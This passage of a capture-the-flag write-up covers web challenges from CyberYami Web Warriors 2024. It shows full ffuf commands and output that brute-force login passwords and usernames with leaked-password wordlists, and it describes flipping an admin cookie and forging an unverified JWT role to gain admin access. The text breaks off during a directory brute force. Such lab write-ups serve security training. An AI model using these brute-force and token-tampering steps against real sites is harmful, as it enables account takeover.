<strong>Event End Time</strong>: September 21, 2024, at 09:00 PM (IST)</p>
<h2 id="challenges">Challenges</h2>
<h3 id="vanish">Vanish</h3>
<p>URL: <code>http://3.7.252.130/Vanish/</code> <br>
Point: <code>+30</code> <br>
Description: <em>Forget stains!</em></p>
<p>Flag is in white color (same as background), so we can&rsquo;t see it directly. To see the flag, open the page&rsquo;s HTML source code (<code>Ctrl</code>+<code>U</code>).</p>
<p><img alt="vanish-flag.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/vanish-flag.png#center"></p>
<p>Flag: <code>CyberYami{4ll_3ye5_0n_M3}</code></p>
<h3 id="antique_cafe">Antique_cafe</h3>
<p>URL: <code>http://3.7.252.130/Antique_cafe/</code> <br>
Point: <code>+30</code> <br>
Description: <em>Visit our cafe.</em></p>
<p>Flag is divided into four parts. The first part can be found in the page&rsquo;s HTML source code.</p>
<p><img alt="antique_cafe-1.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/antique_cafe-1.png#center"></p>
<p><code>http://3.7.252.130/Antique_cafe/</code> =&gt; <code>CyberYami{Y</code></p>
<p>The second part is in the <code>robots.txt</code> file.</p>
<p><img alt="antique_cafe-2.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/antique_cafe-2.png#center"></p>
<p><code>http://3.7.252.130/Antique_cafe/robots.txt</code> =&gt; <code>0u__g0</code></p>
<p>The third part is in the <code>tailwind.css</code> file.</p>
<p><img alt="antique_cafe-3.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/antique_cafe-3.png#center"></p>
<p><code>http://3.7.252.130/Antique_cafe/css/tailwind.css</code> =&gt; <code>T_th3M</code></p>
<p>The fourth and last part of the flag is in the <code>parallax.min.js</code> file.</p>
<p><img alt="antique_cafe-4.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/antique_cafe-4.png#center"></p>
<p><code>http://3.7.252.130/Antique_cafe/js/parallax.min.js</code> =&gt; <code>_4ll!!!}</code></p>
<p>Flag: <code>CyberYami{Y0u__g0T_th3M_4ll!!!}</code></p>
<h3 id="kevin">Kevin</h3>
<p>URL: <code>http://3.7.252.130/Kevin/</code> <br>
Point: <code>+30</code> <br>
Description: <em><strong>Post</strong>man cames and &hellip;.</em></p>
<p>As the description highlights the <code>Post</code>, we just have to make a POST request to the challenge URL.</p>
<p><img alt="kevin-flag.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/kevin-flag.png#center"></p>
<p>Flag: <code>CyberYami{K3v1n_tH3_h4cK3r}</code></p>
<h3 id="login-1">Login 1</h3>
<p>URL: <code>http://13.201.47.7/Login1/</code> <br>
Point: <code>30</code> <br>
Description: <em>Just login, That&rsquo;s it.</em></p>
<p><img alt="login_1-1.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/login_1-1.png#center"></p>
<p>It is just one simple login page. After trying different injection techniques, nothing worked, so let&rsquo;s use the last resort <strong>Brute Force</strong>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">┌──PS<span class="o">(</span>Aftab@Sama<span class="o">)</span>-<span class="o">[</span>~<span class="se">\D</span>ownloads<span class="o">]</span>
</span></span><span class="line"><span class="cl">└─$ ffuf -H <span class="s1">&#39;Content-Type: application/x-www-form-urlencoded&#39;</span> -d <span class="s1">&#39;u=admin&amp;p=FUZZ&#39;</span> -w D:<span class="se">\T</span>ools<span class="se">\w</span>ordlist<span class="se">\w</span>eb<span class="se">\S</span>ecLists-2024.3<span class="se">\P</span>asswords<span class="se">\L</span>eaked-Databases<span class="se">\r</span>ockyou-50.txt -u <span class="s1">&#39;http://13.201.47.7/Login1/&#39;</span> -fr <span class="s1">&#39;Invalid username or password.&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        /<span class="s1">&#39;___\  /&#39;</span>___<span class="se">\ </span>          /<span class="err">&#39;</span>___<span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>       /<span class="se">\ \_</span>_/ /<span class="se">\ \_</span>_/  __  __  /<span class="se">\ \_</span>_/
</span></span><span class="line"><span class="cl">       <span class="se">\ \ </span>,__<span class="se">\\</span> <span class="se">\ </span>,__<span class="se">\/\ \/\ \ \ \ </span>,__<span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>        <span class="se">\ \ \_</span>/ <span class="se">\ \ \_</span>/<span class="se">\ \ \_\ \ \ \ \_</span>/
</span></span><span class="line"><span class="cl">         <span class="se">\ \_\ </span>  <span class="se">\ \_\ </span> <span class="se">\ \_</span>___/  <span class="se">\ \_\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>          <span class="se">\/</span>_/    <span class="se">\/</span>_/   <span class="se">\/</span>___/    <span class="se">\/</span>_/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">       v2.1.0-dev
</span></span><span class="line"><span class="cl">________________________________________________
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> :: Method           : POST
</span></span><span class="line"><span class="cl"> :: URL              : http://13.201.47.7/Login1/
</span></span><span class="line"><span class="cl"> :: Wordlist         : FUZZ: D:<span class="se">\T</span>ools<span class="se">\w</span>ordlist<span class="se">\w</span>eb<span class="se">\S</span>ecLists-2024.3<span class="se">\P</span>asswords<span class="se">\L</span>eaked-Databases<span class="se">\r</span>ockyou-50.txt
</span></span><span class="line"><span class="cl"> :: Header           : User-Agent: Mozilla/5.0 <span class="o">(</span>Macintosh<span class="p">;</span> Intel Mac OS X 10_15_7<span class="o">)</span> AppleWebKit/537.36 <span class="o">(</span>KHTML, like Gecko<span class="o">)</span> Chrome/128.0.0.0 Safari/537.36
</span></span><span class="line"><span class="cl"> :: Header           : Content-Type: application/x-www-form-urlencoded
</span></span><span class="line"><span class="cl"> :: Data             : <span class="nv">u</span><span class="o">=</span>admin<span class="p">&amp;</span><span class="nv">p</span><span class="o">=</span>FUZZ
</span></span><span class="line"><span class="cl"> :: Follow redirects : <span class="nb">false</span>
</span></span><span class="line"><span class="cl"> :: Calibration      : <span class="nb">false</span>
</span></span><span class="line"><span class="cl"> :: Timeout          : <span class="m">10</span>
</span></span><span class="line"><span class="cl"> :: Threads          : <span class="m">50</span>
</span></span><span class="line"><span class="cl"> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
</span></span><span class="line"><span class="cl"> :: Filter           : Regexp: Invalid username or password.
</span></span><span class="line"><span class="cl">________________________________________________
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">password123             <span class="o">[</span>Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 32ms<span class="o">]</span>ors: <span class="m">0</span> ::
</span></span><span class="line"><span class="cl">:: Progress: <span class="o">[</span>9436/9436<span class="o">]</span> :: Job <span class="o">[</span>1/1<span class="o">]</span> :: <span class="m">312</span> req/sec :: Duration: <span class="o">[</span>0:00:18<span class="o">]</span> :: Errors: <span class="m">0</span> ::
</span></span></code></pre></div><p>We found a valid password. when we login using <code>admin:password123</code>. We get the flag.</p>
<p><img alt="login_1-flag.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/login_1-flag.png#center"></p>
<p>Flag: <code>CyberYami{congr4ts_y0u_l0gg3d_1n_succ3s5fully}</code></p>
<h3 id="login-2">Login 2</h3>
<p>URL: <code>http://3.7.252.130/Login2/index.php</code> <br>
Point: <code>50</code> <br>
Description: <em>Really just login, That&rsquo;s it.</em></p>
<p><img alt="login_2-1.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/login_2-1.png#center"></p>
<p>This is like the previous login challenge, so let&rsquo;s brute force again!</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">┌──PS<span class="o">(</span>Aftab@Sama<span class="o">)</span>-<span class="o">[</span>~<span class="se">\D</span>ownloads<span class="o">]</span>
</span></span><span class="line"><span class="cl">└─$ ffuf -H <span class="s1">&#39;Content-Type: application/x-www-form-urlencoded&#39;</span> -d <span class="s1">&#39;username=admin&amp;password=FUZZ&#39;</span> -w D:<span class="se">\T</span>ools<span class="se">\w</span>ordlist<span class="se">\w</span>eb<span class="se">\S</span>ecLists-2024.3<span class="se">\P</span>asswords<span class="se">\L</span>eaked-Databases<span class="se">\r</span>ockyou-50.txt -u <span class="s1">&#39;http://3.7.252.130/Login2/index.php&#39;</span> -fr <span class="s1">&#39;Invalid username or password.&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        /<span class="s1">&#39;___\  /&#39;</span>___<span class="se">\ </span>          /<span class="err">&#39;</span>___<span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>       /<span class="se">\ \_</span>_/ /<span class="se">\ \_</span>_/  __  __  /<span class="se">\ \_</span>_/
</span></span><span class="line"><span class="cl">       <span class="se">\ \ </span>,__<span class="se">\\</span> <span class="se">\ </span>,__<span class="se">\/\ \/\ \ \ \ </span>,__<span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>        <span class="se">\ \ \_</span>/ <span class="se">\ \ \_</span>/<span class="se">\ \ \_\ \ \ \ \_</span>/
</span></span><span class="line"><span class="cl">         <span class="se">\ \_\ </span>  <span class="se">\ \_\ </span> <span class="se">\ \_</span>___/  <span class="se">\ \_\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>          <span class="se">\/</span>_/    <span class="se">\/</span>_/   <span class="se">\/</span>___/    <span class="se">\/</span>_/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">       v2.1.0-dev
</span></span><span class="line"><span class="cl">________________________________________________
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> :: Method           : POST
</span></span><span class="line"><span class="cl"> :: URL              : http://3.7.252.130/Login2/index.php
</span></span><span class="line"><span class="cl"> :: Wordlist         : FUZZ: D:<span class="se">\T</span>ools<span class="se">\w</span>ordlist<span class="se">\w</span>eb<span class="se">\S</span>ecLists-2024.3<span class="se">\P</span>asswords<span class="se">\L</span>eaked-Databases<span class="se">\r</span>ockyou-50.txt
</span></span><span class="line"><span class="cl"> :: Header           : User-Agent: Mozilla/5.0 <span class="o">(</span>Macintosh<span class="p">;</span> Intel Mac OS X 10_15_7<span class="o">)</span> AppleWebKit/537.36 <span class="o">(</span>KHTML, like Gecko<span class="o">)</span> Chrome/128.0.0.0 Safari/537.36
</span></span><span class="line"><span class="cl"> :: Header           : Content-Type: application/x-www-form-urlencoded
</span></span><span class="line"><span class="cl"> :: Data             : <span class="nv">username</span><span class="o">=</span>admin<span class="p">&amp;</span><span class="nv">password</span><span class="o">=</span>FUZZ
</span></span><span class="line"><span class="cl"> :: Follow redirects : <span class="nb">false</span>
</span></span><span class="line"><span class="cl"> :: Calibration      : <span class="nb">false</span>
</span></span><span class="line"><span class="cl"> :: Timeout          : <span class="m">10</span>
</span></span><span class="line"><span class="cl"> :: Threads          : <span class="m">50</span>
</span></span><span class="line"><span class="cl"> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
</span></span><span class="line"><span class="cl"> :: Filter           : Regexp: Invalid username or password.
</span></span><span class="line"><span class="cl">________________________________________________
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">iloveyou                <span class="o">[</span>Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 32ms<span class="o">]</span>ors: <span class="m">0</span> ::
</span></span><span class="line"><span class="cl">:: Progress: <span class="o">[</span>9436/9436<span class="o">]</span> :: Job <span class="o">[</span>1/1<span class="o">]</span> :: <span class="m">275</span> req/sec :: Duration: <span class="o">[</span>0:00:46<span class="o">]</span> :: Errors: <span class="m">0</span> ::
</span></span></code></pre></div><p>We are able to login using these credentials, but when we login, we don&rsquo;t see the flag. We also notice one extra cookie: <code>admin=False</code>. So let&rsquo;s change it to true. And we get the flag.</p>
<p><img alt="login_2-flag.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/login_2-flag.png#center"></p>
<p>Flag: <code>CyberYami{4dmin_4cce55_gr4nt3d}</code></p>
<h3 id="photo-gallery">Photo Gallery</h3>
<p>URL: <code>http://3.7.252.130/PhotoGallery/</code> <br>
Points: <code>+50</code> <br>
Description: <em>We have lot of photos.</em></p>
<p>Here we have 8 photos that can be accessed in two ways.
<code>challenge.php?photo=1</code> or <code>photos/1.jpg</code></p>
<p><img alt="photo-gallery-1.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/photo-gallery-1.png#center"></p>
<p>The directory listing is enabled for <code>/photos/</code> and there are only 8 images. This <code>photo</code> GET parameter looks interesting. After trying a bunch of injections, parameter and method/verb tempering techniques, I couldn&rsquo;t find anything, so let&rsquo;s do brute force (again!) for this photos GET parameter ID value.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">┌──PS<span class="o">(</span>Aftab@Sama<span class="o">)</span>-<span class="o">[</span>~<span class="se">\D</span>ownloads<span class="o">]</span>
</span></span><span class="line"><span class="cl">└─$ seq <span class="m">1</span> <span class="m">100</span> &gt; id.txt
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">┌──PS<span class="o">(</span>Aftab@Sama<span class="o">)</span>-<span class="o">[</span>~<span class="se">\D</span>ownloads<span class="o">]</span>
</span></span><span class="line"><span class="cl">└─$ ffuf -u <span class="s1">&#39;http://3.7.252.130/PhotoGallery/challenge.php?photo=FUZZ&#39;</span> -w id.txt -fr <span class="s1">&#39;Invalid photo number.&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        /<span class="s1">&#39;___\  /&#39;</span>___<span class="se">\ </span>          /<span class="err">&#39;</span>___<span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>       /<span class="se">\ \_</span>_/ /<span class="se">\ \_</span>_/  __  __  /<span class="se">\ \_</span>_/
</span></span><span class="line"><span class="cl">       <span class="se">\ \ </span>,__<span class="se">\\</span> <span class="se">\ </span>,__<span class="se">\/\ \/\ \ \ \ </span>,__<span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>        <span class="se">\ \ \_</span>/ <span class="se">\ \ \_</span>/<span class="se">\ \ \_\ \ \ \ \_</span>/
</span></span><span class="line"><span class="cl">         <span class="se">\ \_\ </span>  <span class="se">\ \_\ </span> <span class="se">\ \_</span>___/  <span class="se">\ \_\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>          <span class="se">\/</span>_/    <span class="se">\/</span>_/   <span class="se">\/</span>___/    <span class="se">\/</span>_/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">       v2.1.0-dev
</span></span><span class="line"><span class="cl">________________________________________________
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> :: Method           : GET
</span></span><span class="line"><span class="cl"> :: URL              : http://3.7.252.130/PhotoGallery/challenge.php?photo<span class="o">=</span>FUZZ
</span></span><span class="line"><span class="cl"> :: Wordlist         : FUZZ: C:<span class="se">\U</span>sers<span class="se">\J</span>ack<span class="se">\D</span>ownloads<span class="se">\i</span>d.txt
</span></span><span class="line"><span class="cl"> :: Header           : User-Agent: Mozilla/5.0 <span class="o">(</span>Macintosh<span class="p">;</span> Intel Mac OS X 10_15_7<span class="o">)</span> AppleWebKit/537.36 <span class="o">(</span>KHTML, like Gecko<span class="o">)</span> Chrome/128.0.0.0 Safari/537.36
</span></span><span class="line"><span class="cl"> :: Follow redirects : <span class="nb">false</span>
</span></span><span class="line"><span class="cl"> :: Calibration      : <span class="nb">false</span>
</span></span><span class="line"><span class="cl"> :: Timeout          : <span class="m">10</span>
</span></span><span class="line"><span class="cl"> :: Threads          : <span class="m">50</span>
</span></span><span class="line"><span class="cl"> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
</span></span><span class="line"><span class="cl"> :: Filter           : Regexp: Invalid photo number.
</span></span><span class="line"><span class="cl">________________________________________________
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="m">9</span>                       <span class="o">[</span>Status: 200, Size: 22, Words: 6, Lines: 1, Duration: 44ms<span class="o">]</span>::
</span></span><span class="line"><span class="cl"><span class="m">87</span>                      <span class="o">[</span>Status: 200, Size: 101, Words: 11, Lines: 1, Duration: 94ms<span class="o">]</span>:
</span></span><span class="line"><span class="cl"><span class="m">8</span>                       <span class="o">[</span>Status: 200, Size: 1032907, Words: 5314, Lines: 4480, Duration: 49ms<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="m">2</span>                       <span class="o">[</span>Status: 200, Size: 1000983, Words: 2853, Lines: 3423, Duration: 28ms<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="m">4</span>                       <span class="o">[</span>Status: 200, Size: 871578, Words: 3216, Lines: 3317, Duration: 49ms<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="m">5</span>                       <span class="o">[</span>Status: 200, Size: 1292467, Words: 5772, Lines: 5229, Duration: 51ms<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="m">3</span>                       <span class="o">[</span>Status: 200, Size: 1317021, Words: 5095, Lines: 5358, Duration: 52ms<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="m">1</span>                       <span class="o">[</span>Status: 200, Size: 1448290, Words: 5456, Lines: 5991, Duration: 36ms<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="m">6</span>                       <span class="o">[</span>Status: 200, Size: 1235823, Words: 4555, Lines: 4155, Duration: 52ms<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="m">7</span>                       <span class="o">[</span>Status: 200, Size: 2176221, Words: 11245, Lines: 9070, Duration: 49ms<span class="o">]</span>
</span></span><span class="line"><span class="cl">:: Progress: <span class="o">[</span>100/100<span class="o">]</span> :: Job <span class="o">[</span>1/1<span class="o">]</span> :: <span class="m">24</span> req/sec :: Duration: <span class="o">[</span>0:00:04<span class="o">]</span> :: Errors: <span class="m">0</span> ::
</span></span></code></pre></div><p>We found one new value: <code>87</code>. It will return the flag.</p>
<p><img alt="photo-gallery-flag.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/photo-gallery-flag.png#center"></p>
<p>Flag: <code>CyberYami{Y0u_f0und_th3_h1dd3n_ph0t0}</code></p>
<h3 id="snacks">Snacks</h3>
<p>URL: <code>http://3.7.252.130/Snacks</code> <br>
Points: <code>+50</code> <br>
Description: <em>Hmm Yummy.</em></p>
<p>This website is pretty much static. But the following three JavaScript files look interesting because they contain obfuscated JS code.</p>
<p><img alt="snacks-1.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/snacks-1.png#center"></p>
<p>We can use online deobfuscator tools like <a href="https://deobfuscate.relative.im/">https://deobfuscate.relative.im/</a> to deobfuscate the JavaScript code.</p>
<p>After deobfuscating the <code>http://3.7.252.130/Snacks/js/min-1.11.0.js</code> file, we get the following:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">ObjectP</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">_0x8b8fd3</span> <span class="o">=</span> <span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">67</span><span class="p">,</span> <span class="mi">121</span><span class="p">,</span> <span class="mi">98</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">89</span><span class="p">,</span> <span class="mi">97</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>We can use browser DevTool&rsquo;s console page to decode this.</p>
<p><img alt="snacks-2.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/snacks-2.png#center"></p>
<p>deobfuscated code of <code>http://3.7.252.130/Snacks/js/min-1.12.1.js</code> file:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">ObjectP</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">_0x53a201</span> <span class="o">=</span> <span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">109</span><span class="p">,</span> <span class="mi">105</span><span class="p">,</span> <span class="mi">123</span><span class="p">,</span> <span class="mi">74</span><span class="p">,</span> <span class="mi">52</span><span class="p">,</span> <span class="mi">118</span><span class="p">,</span> <span class="mi">52</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><img alt="snacks-3.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/snacks-3.png#center"></p>
<p>deobfuscated code of <code>http://3.7.252.130/Snacks/js/min-2.1.0.js</code> file:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">ObjectP</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">_0x59964d</span> <span class="o">=</span> <span class="nx">atob</span><span class="p">(</span><span class="s1">&#39;NWNyMXB0XzBiZnU1YzR0MTBuISF9&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><img alt="snacks-4.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/snacks-4.png#center"></p>
<p>Flag: <code>CyberYami{J4v45cr1pt_0bfu5c4t10n!!}</code></p>
<h3 id="login-3">Login 3</h3>
<p>URL: <code>http://3.7.252.130/Login3/</code> <br>
Points: <code>+50</code> <br>
Description: <em>Ok, Not just login.</em></p>
<p>This time we again do brute force to get the login credentials, but the admin username doesn&rsquo;t work, so we also need to brute force username.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">┌──PS<span class="o">(</span>Aftab@Sama<span class="o">)</span>-<span class="o">[</span>~<span class="se">\D</span>ownloads<span class="o">]</span>
</span></span><span class="line"><span class="cl">└─$ ffuf -H <span class="s1">&#39;Content-Type: application/x-www-form-urlencoded&#39;</span> -d <span class="s1">&#39;username=USERFUZZ&amp;password=PASSFUZZ&#39;</span> -w D:<span class="se">\T</span>ools<span class="se">\w</span>ordlist<span class="se">\w</span>eb<span class="se">\S</span>ecLists-2024.3<span class="se">\U</span>sernames<span class="se">\t</span>op-usernames-shortlist.txt:USERFUZZ -w D:<span class="se">\T</span>ools<span class="se">\w</span>ordlist<span class="se">\w</span>eb<span class="se">\S</span>ecLists-2024.3<span class="se">\P</span>asswords<span class="se">\D</span>efault-Credentials<span class="se">\d</span>efault-passwords.txt:PASSFUZZ -u <span class="s1">&#39;http://3.7.252.130/Login3/&#39;</span> -fr <span class="s1">&#39;Invalid login credentials!&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        /<span class="s1">&#39;___\  /&#39;</span>___<span class="se">\ </span>          /<span class="err">&#39;</span>___<span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>       /<span class="se">\ \_</span>_/ /<span class="se">\ \_</span>_/  __  __  /<span class="se">\ \_</span>_/
</span></span><span class="line"><span class="cl">       <span class="se">\ \ </span>,__<span class="se">\\</span> <span class="se">\ </span>,__<span class="se">\/\ \/\ \ \ \ </span>,__<span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>        <span class="se">\ \ \_</span>/ <span class="se">\ \ \_</span>/<span class="se">\ \ \_\ \ \ \ \_</span>/
</span></span><span class="line"><span class="cl">         <span class="se">\ \_\ </span>  <span class="se">\ \_\ </span> <span class="se">\ \_</span>___/  <span class="se">\ \_\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>          <span class="se">\/</span>_/    <span class="se">\/</span>_/   <span class="se">\/</span>___/    <span class="se">\/</span>_/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">       v2.1.0-dev
</span></span><span class="line"><span class="cl">________________________________________________
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> :: Method           : POST
</span></span><span class="line"><span class="cl"> :: URL              : http://3.7.252.130/Login3/
</span></span><span class="line"><span class="cl"> :: Wordlist         : USERFUZZ: D:<span class="se">\T</span>ools<span class="se">\w</span>ordlist<span class="se">\w</span>eb<span class="se">\S</span>ecLists-2024.3<span class="se">\U</span>sernames<span class="se">\t</span>op-usernames-shortlist.txt
</span></span><span class="line"><span class="cl"> :: Wordlist         : PASSFUZZ: D:<span class="se">\T</span>ools<span class="se">\w</span>ordlist<span class="se">\w</span>eb<span class="se">\S</span>ecLists-2024.3<span class="se">\P</span>asswords<span class="se">\D</span>efault-Credentials<span class="se">\d</span>efault-passwords.txt
</span></span><span class="line"><span class="cl"> :: Header           : User-Agent: Mozilla/5.0 <span class="o">(</span>Macintosh<span class="p">;</span> Intel Mac OS X 10_15_7<span class="o">)</span> AppleWebKit/537.36 <span class="o">(</span>KHTML, like Gecko<span class="o">)</span> Chrome/128.0.0.0 Safari/537.36
</span></span><span class="line"><span class="cl"> :: Header           : Content-Type: application/x-www-form-urlencoded
</span></span><span class="line"><span class="cl"> :: Data             : <span class="nv">username</span><span class="o">=</span>USERFUZZ<span class="p">&amp;</span><span class="nv">password</span><span class="o">=</span>PASSFUZZ
</span></span><span class="line"><span class="cl"> :: Follow redirects : <span class="nb">false</span>
</span></span><span class="line"><span class="cl"> :: Calibration      : <span class="nb">false</span>
</span></span><span class="line"><span class="cl"> :: Timeout          : <span class="m">10</span>
</span></span><span class="line"><span class="cl"> :: Threads          : <span class="m">50</span>
</span></span><span class="line"><span class="cl"> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
</span></span><span class="line"><span class="cl"> :: Filter           : Regexp: Invalid login credentials!
</span></span><span class="line"><span class="cl">________________________________________________
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 32ms<span class="o">]</span>Duration: <span class="o">[</span>0:01:17<span class="o">]</span> :: Errors: <span class="m">0</span> ::
</span></span><span class="line"><span class="cl">    * PASSFUZZ: password
</span></span><span class="line"><span class="cl">    * USERFUZZ: guest
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">:: Progress: <span class="o">[</span>22338/22338<span class="o">]</span> :: Job <span class="o">[</span>1/1<span class="o">]</span> :: <span class="m">385</span> req/sec :: Duration: <span class="o">[</span>0:01:19<span class="o">]</span> :: Errors: <span class="m">0</span> ::
</span></span></code></pre></div><p>We can login using <code>guest:password</code>.</p>
<p><img alt="login_3-1.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/login_3-1.png#center"></p>
<p>We notice one new JWT cookie after successful login. In that our role is <code>user</code> we can just change it admin and base64 encode it again; and it will be accepted. The JWT signature is not being verified.</p>
<p><img alt="login_3-2.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/login_3-2.png#center"></p>
<p>Flag: <code>CyberYami{JWT_N0n3_Alg0r1thm_Byp4ss}</code></p>
<h3 id="shopu">ShopU</h3>
<p>URL: <code>http://3.7.252.130/ShopU</code> <br>
Points: <code>50</code> <br>
Description: <em>We love ShopU :)</em></p>
<p>This site is static. So let&rsquo;s do brute force to find some hidden pages.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">┌──PS<span class="o">(</span>Aftab@Sama<span class="o">)</span>-<span class="o">[</span>~<span class="se">\D</span>ownloads<span class="o">]</span>
</span></span><span class="line"><span class="cl">└─$ ffuf -u <span class="s1">&#39;http://3.7.252.130/ShopU/FUZZ&#39;</span> -w <span class="nv">$wordlist_good</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        /<span class="s1">&#39;___\  /&#39;</span>___<span class="se">\ </span>          /<span class="err">&#39;</span>___<span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>       /<span class="se">\ \_</span>_/ /<span class="se">\ \_</span>_/  __  __  /<span class="se">\ \_</span>_/
</span></span><span class="line"><span class="cl">       <span class="se">\ \ </span>,__<span class="se">\\</span> <span class="se">\ </span>,__<span class="se">\/\ \/\ \ \ \ </span>,__<span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>        <span class="se">\ \ \_</span>/ <span class="se">\ \ \_</span>/<span class="se">\ \ \_\ \ \ \ \_</span>/
</span></span><span class="line"><span class="cl">         <span class="se">\ \_\ </span>  <span class="se">\ \_\ </span> <span class="se">\ \_</span>___/  <span class="se">\ \_\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>          <span class="se">\/</span>_/    <span class="se">\/</span>_/   <span class="se">\/</span>___/    <span class="se">\/</span>_/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">       v2.1.0-dev
</span></span><span class="line"><span class="cl">________________________________________________
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> :: Method           : GET
</span></span><span class="line"><span class="cl"> :: URL              : http://3.7.252.130/ShopU/FUZZ
</span></span><span class="line"><span class="cl"> :: Wordlist         : FUZZ: D:<span class="se">\T</span>ools<span class="se">\w</span>ordlist<span class="se">\w</span>eb<span class="se">\g</span>ood.txt
